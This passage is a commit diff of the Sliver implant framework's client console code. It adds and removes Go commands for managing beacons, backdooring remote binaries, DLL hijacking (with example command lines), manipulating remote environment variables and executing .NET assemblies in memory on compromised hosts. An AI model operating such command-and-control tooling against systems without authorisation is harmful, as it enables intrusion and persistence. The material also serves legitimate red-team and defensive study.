fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
}
+128
View File
@@ -0,0 +1,128 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
// ErrBeaconNotFound
ErrBeaconNotFound = errors.New("no beacon found for this ID")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
return beacon, nil
}
}
return nil, ErrBeaconNotFound
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
return beacons, nil
}
+85
View File
@@ -0,0 +1,85 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pruneBeacons := []*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
nextCheckin := time.Unix(beacon.NextCheckin, 0)
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
}
if len(pruneBeacons) == 0 {
con.PrintInfof("No beacons to prune.\n")
return
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
}
con.Println()
confirm := false
prompt := &survey.Confirm{Message: "Prune these beacons?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
}
}
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
}
+41
View File
@@ -0,0 +1,41 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
+67
View File
@@ -0,0 +1,67 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
con.Printf(console.UpN+console.Clearln+"\r", 1)
}()
for {
select {
case <-done:
return
case <-time.After(time.Second):
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
}
con.Printf("\nPress enter to stop.\n")
con.Printf(console.UpN+"\r", len(lines)+2)
}
}
}
func waitForInput() <-chan bool {
done := make(chan bool)
go func() {
defer close(done)
fmt.Scanf("\n")
done <- true
}()
return done
}
File diff suppressed because it is too large. Load diff
-50
View File
@@ -1,50 +0,0 @@
package command
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
fmt.Println(Warn + "Please select an active session via `use`")
return
}
if len(ctx.Args) < 1 {
fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
remoteFilePath := ctx.Args[0]
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
go spin.Until(msg, ctrl)
backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
if backdoor.Response != nil && backdoor.Response.Err != "" {
fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
return
}
fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
}
-175
View File
@@ -1,175 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
"gopkg.in/AlecAivazis/survey.v1"
)
const (
// ANSI Colors
normal = "\033[0m"
black = "\033[30m"
red = "\033[31m"
green = "\033[32m"
orange = "\033[33m"
blue = "\033[34m"
purple = "\033[35m"
cyan = "\033[36m"
gray = "\033[37m"
bold = "\033[1m"
clearln = "\r\x1b[2K"
upN = "\033[%dA"
downN = "\033[%dB"
underline = "\033[4m"
// Info - Display colorful information
Info = bold + cyan + "[*] " + normal
// Warn - Warn a user
Warn = bold + red + "[!] " + normal
// Debug - Display debug information
Debug = bold + purple + "[-] " + normal
// Woot - Display success
Woot = bold + green + "[$] " + normal
)
var (
// ActiveSession - The current sliver we're interacting with
ActiveSession = &activeSession{
observers: map[int]Observer{},
observerID: 0,
}
stdinReadTimeout = 10 * time.Millisecond
)
// Observer - A function to call when the sessions changes
type Observer func(*clientpb.Session)
type activeSession struct {
session *clientpb.Session
observers map[int]Observer
observerID int
}
// GetInteractive - GetInteractive the active session
func (s *activeSession) GetInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select an active session via `use`\n")
return nil
}
return s.session
}
// Get - Same as Get() but doesn't print a warning
func (s *activeSession) Get() *clientpb.Session {
if s.session == nil {
return nil
}
return s.session
}
// AddObserver - Observers to notify when the active session changes
func (s *activeSession) AddObserver(observer Observer) int {
s.observerID++
s.observers[s.observerID] = observer
return s.observerID
}
func (s *activeSession) RemoveObserver(observerID int) {
if _, ok := s.observers[observerID]; ok {
delete(s.observers, observerID)
}
}
func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
if s.session == nil {
return nil
}
timeout := int(time.Second) * ctx.Flags.Int("timeout")
return &commonpb.Request{
SessionID: s.session.ID,
Timeout: int64(timeout),
}
}
// Set - Change the active session
func (s *activeSession) Set(session *clientpb.Session) {
s.session = session
for _, observer := range s.observers {
observer(s.session)
}
}
// Background - Background the active session
func (s *activeSession) Background() {
s.session = nil
for _, observer := range s.observers {
observer(nil)
}
}
// GetSession - Get session by session ID or name
func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return nil
}
for _, session := range sessions.GetSessions() {
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
return session
}
}
return nil
}
// GetSessionsByName - Return all sessions for an Implant by name
func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return nil
}
matched := []*clientpb.Session{}
for _, session := range sessions.GetSessions() {
if session.Name == name {
matched = append(matched, session)
}
}
return matched
}
// This should be called for any dangerous (OPSEC-wise) functions
func isUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
File diff suppressed because it is too large. Load diff
+4
View File
@@ -0,0 +1,4 @@
Completers
===========
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
+63
View File
@@ -0,0 +1,63 @@
package completers
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
}
+4
View File
@@ -0,0 +1,4 @@
DLL Hijack
===========
Implements command related to `dllhijack`.
+97
View File
@@ -0,0 +1,97 @@
package dllhijack
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
return
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
}
}
if localFile != "" {
if profileName != "" {
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("DLL uploaded to %s\n", targetPath)
}
-69
View File
@@ -1,69 +0,0 @@
package command
import (
"context"
"fmt"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
return
}
var name string
if len(ctx.Args) > 0 {
name = ctx.Args[0]
}
envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
for _, envVar := range envInfo.Variables {
fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
}
func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
return
}
if len(ctx.Args) != 2 {
fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
return
}
name := ctx.Args[0]
value := ctx.Args[1]
envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{
Key: name,
Value: value,
},
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
if envInfo.Response != nil && envInfo.Response.Err != "" {
fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
return
}
fmt.Printf(Info+"set %s to %s\n", name, value)
}
+4
View File
@@ -0,0 +1,4 @@
Environment
===========
Contains command implementations for manipulating remote environment variables.
+71
View File
@@ -0,0 +1,71 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
}
+80
View File
@@ -0,0 +1,80 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
value := ctx.Args.String("value")
if name == "" || value == "" {
con.PrintErrorf("Usage: setenv KEY VALUE\n")
return
}
envInfo, err := con.Rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{
Key: name,
Value: value,
},
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Set %s to %s\n", name, value)
}
+76
View File
@@ -0,0 +1,76 @@
package environment
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Usage: setenv NAME\n")
return
}
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
}
+4
View File
@@ -0,0 +1,4 @@
Exec
====
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
+139
View File
@@ -0,0 +1,139 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
assemblyPath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
return
}
}
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+203
View File
@@ -0,0 +1,203 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/term"
